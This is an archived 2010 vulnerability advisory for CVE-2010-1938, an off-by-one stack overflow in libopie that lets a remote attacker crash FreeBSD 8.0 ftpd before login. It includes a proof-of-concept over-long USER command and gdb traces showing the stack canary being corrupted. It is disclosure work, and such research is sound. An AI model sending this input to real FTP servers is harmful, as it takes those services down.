FreeBSD 8.0 ftpd Off-By-One Proof Of Concept

2010-05-28T00:00:00
ID PACKETSTORM:90012
Type packetstorm
Reporter Adam Zabrocki
Modified 2010-05-28T00:00:00

Description

                                        
                                            `[ libopie __readrec() off-by one (FreeBSD ftpd remote PoC) ]  
  
Authors:   
- Maksymilian Arciemowicz  
- Adam 'pi3' Zabrocki  
  
http://securityreason.com/achievement_securityalert/87  
http://site.pi3.com.pl/adv/libopie-adv.txt  
http://blog.pi3.com.pl/?p=111  
  
  
Date:  
- Dis.: 04.05.2010  
- Pub.: 27.05.2010  
  
CVE: CVE-2010-1938  
CWE: CWE-193  
  
Affected Software:  
- OPIE Authentication System ( libopie )  
  
Software which use libopie:  
- OpenSuSE  
- wu-ftpd  
- mod_opie  
- PAM  
- openssh (modified by FreeBSD/DragonflyBSD Team)  
- sudo  
- opiesu  
- popper  
- Probably much more...  
  
PoC:  
- FreeBSD 8.0 ftpd(8) Remote Off-by one  
line FreeBSD 7 is not affected  
  
Other software can be also affected.   
  
  
NOTE: Prior versions may also be affected.  
  
Orginal URL:  
http://securityreason.com/achievement_securityalert/84  
  
  
--- 0.Description ---  
OPIE is a freely redistributable kit that will drop into most *IX systems and replaces  
your login and FTP daemon with versions that use OTP for user authentication. It also  
includes an OTP generator and a library to make it easy to add OTP authentication to  
existing clients and servers.  
  
  
--- 1. OPIE Authentication System Off-by one ---  
Libopie allows REMOTE and LOCAL attackers to off-by-one attack (on the stack).  
Let's look in the code:  
  
"/src/contrib/opie/opie.h"  
/* Maximum length of a principal (read: user name) */  
#define OPIE_PRINCIPAL_MAX 32  
  
"./src/contrib/opie/libopie/readrec.c"  
int __opiereadrec FUNCTION((opie), struct opie *opie)  
{  
...  
...  
{  
char *c, principal[OPIE_PRINCIPAL_MAX];  
int i;  
  
if (c = strchr(opie->opie_principal, ':'))  
*c = 0;  
[1] if (strlen(opie->opie_principal) > OPIE_PRINCIPAL_MAX)  
[2] (opie->opie_principal)[OPIE_PRINCIPAL_MAX] = 0;  
  
[3] strcpy(principal, opie->opie_principal);  
...  
...  
}  
...  
...  
ret:  
if (f)  
fclose(f);  
return rval;  
}  
  
  
This function at [1] check the length of the variable 'opie->opie_principal'  
which is full user controled. If this length is bigger than OPIE_PRINCIPAL_MAX  
- 32 bytes, program will write at this position NULL byte. In fact the string  
will be 32 bytes long.  
Vulnerability exists at line [3]. Function strcpy() copy user controled variable  
which can be maximum 32 bytes long, to the local bufor 'principal' which is 32  
bytes long too. Here is off-by-one bug because function strcpy() after copied 32  
bytes alwyas ADD NULL byte to the and of string. In fact it will be at the  
position *(principal+32) which is out of buffer.  
A possible way to exploit this vulnerability:  
  
"./src/contrib/opie/libopie/lookup.c"  
int opielookup FUNCTION((opie, principal), struct opie *opie AND char *principal)  
{  
int i;  
  
memset(opie, 0, sizeof(struct opie));  
opie->opie_principal = principal;  
  
if (i = __opiereadrec(opie)) <=== our call ;)  
return i;  
  
return (opie->opie_flags & __OPIE_FLAGS_RW) ? 0 : 2;  
}  
  
  
a deeper analyzis of the code shows:  
  
"./src/contrib/opie/libopie/challenge.c"  
int opiechallenge FUNCTION((mp, name, ss), struct opie *mp AND char *name AND char *ss)  
{  
int rval = -1;  
  
rval = opielookup(mp, name);  
  
...  
...  
  
return rval;  
}  
  
This function is really intereting because it is responsible for authentication so this  
vulnerability can be in the pre-auth phase. We can found many softwares which use this function  
for authorization (for example default ftp daemon in FreeBSD) ;)  
  
Another interesting call we can find here:  
  
"./src/contrib/opie/libopie/writerec.c"  
int __opiewriterec FUNCTION((opie), struct opie *opie)  
{  
char buf[17], buf2[64];  
time_t now;  
FILE *f, *f2 = NULL;  
int i = 0;  
char *c;  
  
time(&now);  
if (strftime(buf2, sizeof(buf2), " %b %d,%Y %T", localtime(&now)) < 1)  
return -1;  
  
if (!(opie->opie_flags & __OPIE_FLAGS_READ)) {  
struct opie opie2;  
i = opielookup(&opie2, opie->opie_principal); <========== our call :)  
...  
}  
...  
...  
}  
  
and this function is used in many places:  
"./src/contrib/opie/libopie/passwd.c" <=== in function opiepasswd()  
"./src/contrib/opie/libopie/verify.c" <=== in function opieverify() - two times ;)  
  
... so we have got many entry points ;) But we are going to test calls to function  
opiechallenge(). Pre-auth vulnerability sounds impressive ;) At first let's test default  
FTP daemon for FreeBSD 8.0 ...  
  
  
--- 2. FreeBSD 8.0 ftpd remote off-by one ---  
Authentication module for FTP server in FreeBSD 8 module was modified. By default it  
uses OPIE library. Let`s see  
  
http://www.freebsd.org/cgi/cvsweb.cgi/~checkout~/src/libexec/ftpd/ftpd.c?rev=1.214.2.1.2.1;content-type=text%2Fplain  
  
...  
  
if (opiechallenge(&opiedata, name, opieprompt) == 0) {  
pwok = (pw != NULL) &&  
opieaccessfile(remotehost) &&  
opiealways(pw->pw_dir);  
reply(331, "Response to %s %s for %s.",  
opieprompt, pwok ? "requested" : "required", name);  
} else {  
pwok = 1;  
reply(331, "Password required for %s.", name);  
}  
askpasswd = 1;  
...  
  
  
this code has been added in line 8. 7.3 is not affected!  
  
Variable 'name' is user name, defined in in auth  
  
"USER AAAA"  
  
name=AAAA  
  
If we use more that 31 chars for username, ftpd will crash. The problem will  
be casued by the off-by-one bug in libopie. FreeBSD 8.0 compile most of its binaries  
with -fstack-protector-all flag by default so the FTP server will be killed by SSP  
with an information about attack:  
  
"stack overflow detected"  
  
The problematic part of libopie is called by the FTP server via this line:  
  
opiechallenge(&opiedata, name, opieprompt)  
  
  
PoC0:  
Connected to localhost.  
Escape character is '^]'.  
220 127.cx FTP server (Version 6.00LS) ready.  
user cx  
331 Password required for cx.  
user AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
Connection closed by foreign host.  
127#   
  
#0 0x281efde7 in kill () from /lib/libc.so.7  
(gdb) i r  
eax 0x0 0  
ecx 0x8060f50 134614864  
edx 0x0 0  
ebx 0x28205ad8 673209048  
esp 0xbfbfd84c 0xbfbfd84c  
ebp 0xbfbfd898 0xbfbfd898  
esi 0xbfbfd864 -1077946268  
edi 0x281f3ad0 673135312  
eip 0x281efde7 0x281efde7  
eflags 0x246 582  
cs 0x33 51  
ss 0x3b 59  
ds 0x3b 59  
es 0x3b 59  
fs 0x3b 59  
gs 0x1b 27  
(gdb) bt  
#0 0x281efde7 in kill () from /lib/libc.so.7  
#1 0x2812de12 in brk () from /lib/libc.so.7  
#2 0x00000580 in ?? ()  
#3 0x00000006 in ?? ()  
#4 0x00000000 in ?? ()  
#5 0x281da06f in __srget () from /lib/libc.so.7  
#6 0x280d0367 in __opieopen () from /usr/lib/libopie.so.6  
#7 0x280cff4f in __opiereadrec () from /usr/lib/libopie.so.6  
#8 0x280cfb53 in opielookup () from /usr/lib/libopie.so.6  
#9 0x280cea9c in opiechallenge () from /usr/lib/libopie.so.6  
#10 0x0804de32 in ?? ()  
#11 0x0805fa60 in optind ()  
#12 0x283250a0 in ?? ()  
#13 0x0805fb78 in optind ()  
#14 0x2809d000 in ?? ()  
#15 0x00000548 in ?? ()  
#16 0x00000000 in ?? ()  
#17 0x2817658b in free () from /lib/libc.so.7  
#18 0x080546e1 in getline ()  
...  
n ?? ()  
#320 0x0000000f in ?? ()  
#321 <signal handler called>  
Cannot access memory at address 0x4c  
  
  
FTP daemon crashed with this log:  
  
May 13 10:57:40 127 ftpd[1547]: stack overflow detected; terminated  
May 13 10:57:41 127 kernel: pid 1547 (ftpd), uid 0: exited on signal 6 (core dumped)  
May 13 10:59:35 127 ftpd[1556]: stack overflow detected; terminated  
May 13 10:59:35 127 kernel: pid 1556 (ftpd), uid 0: exited on signal 6 (core dumped)  
  
SSP has detected stack oveerflow.  
  
  
Let's analyze deeper what has exactly happened:  
  
pi3-freebsd# gdb -q --pid=35118  
...  
...  
Loaded symbols for /libexec/ld-elf.so.1  
0x281f3271 in read () from /lib/libc.so.7  
(gdb) b __opiereadrec  
Breakpoint 1 at 0x280cfd74  
(gdb) c  
Continuing.  
  
Breakpoint 1, 0x280cfd74 in __opiereadrec () from /usr/lib/libopie.so.6  
(gdb) x/20i $eip  
...  
...  
0x280cfe23 <__opiereadrec+179>: call 0x280cce48 <_init+1428> <== strlen(...)  
0x280cfe28 <__opiereadrec+184>: cmp $0x20,%eax  
0x280cfe2b <__opiereadrec+187>: ja 0x280cfefb <__opiereadrec+395> <= if > 0x20...  
...  
...  
0x280cfe31 <__opiereadrec+193>: lea 0xffffffd0(%ebp),%eax  
0x280cfe34 <__opiereadrec+196>: mov %edi,0x4(%esp)  
0x280cfe38 <__opiereadrec+200>: lea 0x4(%esi),%edi  
0x280cfe3b <__opiereadrec+203>: mov %eax,0xffffffb8(%ebp)  
0x280cfe3e <__opiereadrec+206>: mov %eax,(%esp)  
0x280cfe41 <__opiereadrec+209>: call 0x280cce98 <_init+1508> <== strcpy(principal,opie->opie_principal);  
0x280cfe46 <__opiereadrec+214>: mov 0xffffffc0(%ebp),%edx  
...  
...  
0x280cfeab <__opiereadrec+315>: mov 0x194(%ebx),%ecx <=== get canary from the 'secret' place  
0x280cfeb1 <__opiereadrec+321>: mov %edi,%eax  
0x280cfeb3 <__opiereadrec+323>: mov 0xfffffff0(%ebp),%edx <== get canary from the stack  
0x280cfeb6 <__opiereadrec+326>: xor (%ecx),%edx <== compare it (xor)  
0x280cfeb8 <__opiereadrec+328>: jne 0x280cff4a <__opiereadrec+474> <== __stack  
0x280cfebe <__opiereadrec+334>: add $0x4c,%esp  
0x280cfec1 <__opiereadrec+337>: pop %ebx  
0x280cfec2 <__opiereadrec+338>: pop %esi  
0x280cfec3 <__opiereadrec+339>: pop %edi  
0x280cfec4 <__opiereadrec+340>: pop %ebp  
0x280cfec5 <__opiereadrec+341>: ret  
...  
...  
0x280cfefb <__opiereadrec+395>: movb $0x0,0x20(%edi) <=== (opie->opie_principal)[OPIE_PRINCIPAL_MAX] = 0;  
0x280cfeff <__opiereadrec+399>: mov 0x104(%esi),%edi  
0x280cff05 <__opiereadrec+405>: jmp 0x280cfe31 <__opiereadrec+193>  
...  
...  
(gdb) x/x $ebx+0x194  
0x280d3940 <remote_terms+8856>: 0x0805e900  
(gdb) x/x 0x0805e900  
0x805e900 <__stack_chk_guard>: 0x4541c442 <== secret canary ;)  
(gdb) x/x $ebp+0xfffffff0  
0xbfbfdce8: 0x00000000  
(gdb) b *0x280cfe28  
Breakpoint 2 at 0x280cfe28  
(gdb) c  
Continuing.  
  
Breakpoint 2, 0x280cfe28 in __opiereadrec () from /usr/lib/libopie.so.6  
(gdb) i r eax  
eax 0x22 34 <=== strlen() return value...  
(gdb) b *0x280cfefb  
Breakpoint 3 at 0x280cfefb  
(gdb) c  
Continuing.  
  
Breakpoint 3, 0x280cfefb in __opiereadrec () from /usr/lib/libopie.so.6  
(gdb) x/s $edi  
0x28325070: 'A' <repeats 31 times>, "\001\002\b"  
(gdb) b *0x280cfeff  
Breakpoint 4 at 0x280cfeff  
(gdb) c  
Continuing.  
  
Breakpoint 4, 0x280cfeff in __opiereadrec () from /usr/lib/libopie.so.6  
(gdb) x/s $edi  
0x28325070: 'A' <repeats 31 times>, "\001" <== as we can see in this string (array)  
33 byte now is 0x0. So our buffer now  
holds/contains 32 bytes before the  
terminating NULL byte  
(gdb) b *0x280cfe41  
Breakpoint 5 at 0x280cfe41  
(gdb) c  
Continuing.  
  
Breakpoint 5, 0x280cfe41 in __opiereadrec () from /usr/lib/libopie.so.6  
(gdb) x/x $esp  
0xbfbfdca0: 0xbfbfdcc8  
(gdb) x/x $esp+4  
0xbfbfdca4: 0x28325070  
(gdb) x/s 0x28325070  
0x28325070: 'A' <repeats 31 times>, "\001"  
(gdb) x/20x 0xbfbfdcc8 <====== Local buffer  
0xbfbfdcc8: 0x280d37ac 0x0805fa60 0x28325070 0xbfbfdd18  
0xbfbfdcd8: 0x2805f629 0x2809d600 0x00000060 0x00000000  
0xbfbfdce8: 0x4541c442 0x280d37ac 0x0805fa60 0x28325070  
^^^^^^^^^^ <============ canary value before strcpy()  
0xbfbfdcf8: 0xbfbfdd18 0x280cfb53 0x0805fa60 0x00000000  
0xbfbfdd08: 0x00000118 0x0805fa60 0x280d37ac 0x00000000  
(gdb) b *0x280cfe46  
Breakpoint 6 at 0x280cfe46  
(gdb) c  
Continuing.  
  
Breakpoint 6, 0x280cfe46 in __opiereadrec () from /usr/lib/libopie.so.6  
(gdb) x/20x 0xbfbfdcc8  
0xbfbfdcc8: 0x41414141 0x41414141 0x41414141 0x41414141  
0xbfbfdcd8: 0x41414141 0x41414141 0x41414141 0x01414141  
0xbfbfdce8: 0x4541c400 0x280d37ac 0x0805fa60 0x28325070  
^^^^^^^^^^ <============== canary value after strcpy().  
Now we can see pretty off-by-one... ;)  
0xbfbfdcf8: 0xbfbfdd18 0x280cfb53 0x0805fa60 0x00000000  
0xbfbfdd08: 0x00000118 0x0805fa60 0x280d37ac 0x00000000  
(gdb) b *0x280cfeb8  
Breakpoint 7 at 0x280cfeb8  
(gdb) c  
Continuing.  
  
Breakpoint 7, 0x280cfeb8 in __opiereadrec () from /usr/lib/libopie.so.6  
(gdb) x/x $ecx  
0x805e900 <__stack_chk_guard>: 0x4541c442  
(gdb) x/x $ebp+0xfffffff0  
0xbfbfdce8: 0x4541c400  
(gdb) b *0x280cfec5  
Breakpoint 8 at 0x280cfec5  
(gdb) c  
Continuing.  
  
May 14 01:55:03 pi3-freebsd ftpd[35118]: stack overflow detected; terminated  
  
Program received signal SIGABRT, Aborted.  
0x281efde7 in kill () from /lib/libc.so.7  
(gdb)  
  
  
--- 3. Credits ---  
Discovered by:  
- Maksymilian Arciemowicz from SecurityReason.com  
- Adam Zabrocki from ... hm... good question ;p  
  
  
--- 4. Greets ---  
sp3x Infospec p_e_a, #plhack@IRCNET  
  
  
--- 5. Contact ---  
Email:  
- cxib {a\./t] securityreason [d=t} com  
- pi3 [a{]t] itsec D||T pl  
  
  
--- 6. Official FreeBSD response ---  
http://security.freebsd.org/advisories/FreeBSD-SA-10:05.opie.asc  
  
  
GPG:  
- http://securityreason.com/key/Arciemowicz.Maksymilian.gpg  
  
http://pi3.com.pl  
http://securityreason.com/  
http://securityreason.com/exploit_alert/ - Exploit Database  
http://securityreason.com/security_alert/ - Vulnerability Database  
  
  
--  
pi3 (pi3ki31ny) - pi3 (at) itsec pl  
http://pi3.com.pl  
http://site.pi3.com.pl  
http://blog.pi3.com.pl  
  
`